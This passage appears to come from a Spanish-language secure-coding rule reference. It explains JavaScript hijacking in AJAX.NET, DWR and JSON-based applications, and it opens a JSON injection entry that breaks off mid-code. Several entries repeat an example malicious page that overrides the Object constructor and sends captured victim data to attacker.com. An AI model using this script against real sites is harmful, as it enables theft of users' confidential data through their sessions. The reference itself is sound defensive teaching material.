[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Las aplicaciones que utilizan Microsoft AJAX.NET (Atlas) pueden ser vulnerables a suplantación de JavaScript, permitiendo a un atacante no autorizado el acceso a datos confidenciales.
Explanation
Microsoft AJAX.NET (Atlas) utiliza JSON para transferir datos entre el servidor y el cliente. El marco de trabajo produce respuestas compuestas de JavaScript válido que se pueden evaluar utilizando una etiqueta <script> y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script> maliciosa (puesto que las etiquetas <script> solo generan solicitudes GET). No obstante, Microsoft AJAX.NET ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Las aplicaciones que aprovechan las versiones del marco DWR Ajax 1.1.4 y anteriores son vulnerables a la suplantación de JavaScript, lo que permite que un atacante no autorizado lea datos confidenciales.
Explanation
Todas las versiones publicadas de DWR hasta la 1.1.4 incluida son vulnerables a la suplantación de JavaScript [1]. Hasta ahora, el marco no ha construido ningún mecanismo para impedir la vulnerabilidad. La buena noticia es que DWR 2.0 está protegido contra la suplantación de JavaScript mediante un mecanismo diseñado para evitar Cross-site Request Forgery. La protección aprovecha el hecho de que los scripts malintencionados no pueden leer secretos almacenados en cookies establecidas por otros dominios, lo que permite que el marco use un valor almacenado en una cookie como un secreto compartido entre el cliente y el servidor. DWR 2.0 agrega automáticamente la cookie de sesión a la solicitud en el cliente y verifica en el servidor que cada solicitud contenga el valor correcto.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos de JavaScript como formato de transferencia de datos 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks llama la atención ante posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más popular para comunicar información en JavaScript es la notación de objetos JavaScript (JSON). La norma RFC de JSON define la sintaxis JSON como un subconjunto de la sintaxis literal de objetos de JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones JavaScript válidas es vulnerable a la suplantación de JavaScript. JSON facilita la suplantación de JavaScript por el hecho de que una matriz JSON se destaca por sí sola como una instrucción de JavaScript válida. Dado que las matrices son una forma natural de comunicar listas, se usan comúnmente cuando una aplicación necesita comunicar múltiples valores. Dicho de otra manera, una matriz JSON es directamente vulnerable a la suplantación de JavaScript. Un objeto JSON solo es vulnerable si está encapsulado en alguna otra construcción de JavaScript que se destaque por sí misma como una instrucción de JavaScript válida.

Ejemplo 1: El siguiente ejemplo comienza mostrando una interacción JSON legítima entre los componentes del cliente y el servidor de una aplicación web utilizada para administrar clientes potenciales. Continúa mostrando cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está escrito para exploradores basados en Mozilla. Otros exploradores convencionales no permiten anular los constructores nativos cuando se crea un objeto sin el uso del nuevo operador.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y en la que sigue, hemos omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, el código JSON contiene información confidencial asociada con el usuario actual (una lista de clientes potenciales). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de las aplicaciones web modernas, el identificador de sesión se almacena como una cookie). Sin embargo, si una víctima visita un sitio web malintencionado, este puede recuperar la información mediante la suplantación de JavaScript. Si se puede engañar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información principal de la víctima se enviará al sitio web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado utiliza una etiqueta de script para incluir el objeto JSON en la página actual. El explorador web enviará la cookie de sesión correspondiente con la solicitud. En otras palabras, esta solicitud se manejará como si se hubiera originado en la aplicación legítima.

Cuando la matriz JSON llega al cliente, se evaluará en el contexto de la página malintencionada. Para presenciar la evaluación del objeto JSON, la página malintencionada ha redefinido la función de JavaScript utilizada para crear objetos. De esta manera, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían anular el constructor predeterminado de las matrices. Las aplicaciones que están diseñadas para usarse en un mashup a veces invocan una función de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está destinada a ser definida por otra aplicación en el mashup. Una función de devolución de llamada hace que un ataque de suplantación de JavaScript sea un asunto trivial: todo lo que el atacante tiene que hacer es definir la función. Una aplicación puede ser compatible con mashup o puede ser segura, pero no ambas cosas. Si el usuario no ha iniciado sesión en el sitio vulnerable, el atacante puede compensarlo pidiéndole que lo haga y mostrando luego la página de inicio de sesión legítima de la aplicación.

Este no es un ataque de suplantación de identidad (phishing), el atacante no obtiene acceso a las credenciales del usuario, por lo que las medidas contra este tipo de ataque no podrán acabar con él. Ataques más complejos podrían realizar una serie de solicitudes a la aplicación mediante el uso de JavaScript para generar etiquetas de script de forma dinámica. Esta misma técnica se utiliza a veces para crear mashups de aplicaciones. La única diferencia es que, en este escenario de mashup, una de las aplicaciones involucradas es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.javascript_hijacking_vulnerable_framework
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
El método escribe una entrada sin validar en JSON. Esta llamada puede permitir a un atacante insertar elementos o atributos de forma arbitraria en la entidad JSON.
Explanation
La inyección JSON se produce cuando:

1. Los datos entran en un programa desde un origen que no es de confianza.


2. Los datos se escriben en una secuencia JSON.

Las aplicaciones suelen utilizar la secuencia JSON para almacenar datos o enviar mensajes. Cuando se utiliza para almacenar datos, JSON a menudo se trata como datos almacenados en la caché y pueden contener información probablemente confidencial. Cuando se utiliza para enviar mensajes, JSON a menudo se utiliza junto con un servicio RESTful y se puede utilizar para transmitir información confidencial como las credenciales de autenticación.

La semántica de los documentos y mensajes JSON se puede modificar si una aplicación construye JSON a partir de una entrada sin validar. En un caso relativamente benigno, un atacante puede ser capaz de insertar elementos extraños y hacer que una aplicación produzca una excepción mientras se está analizando un documento o una solicitud JSON. En un caso más grave, como uno que implique la inyección JSON, un atacante puede ser capaz de insertar elementos extraños que permitan la manipulación predecible de los valores críticos para el negocio dentro de un documento o una solicitud JSON. En algunos casos, la inyección JSON puede dar lugar a cross-site scripting o evaluación de código dinámico.

Ejemplo 1: El siguiente código C# utiliza JSON.NET para serializar la información de autenticación de las cuentas de usuario para los usuarios sin privilegios (aquellos con un rol "predeterminado" a diferencia de los usuarios con privilegios con un rol de "admin") a partir de las variables de entrada controladas por el usuario username y password al archivo JSON ubicado en C:\user_info.json:


...

StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);

using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;

writer.WriteStartObject();

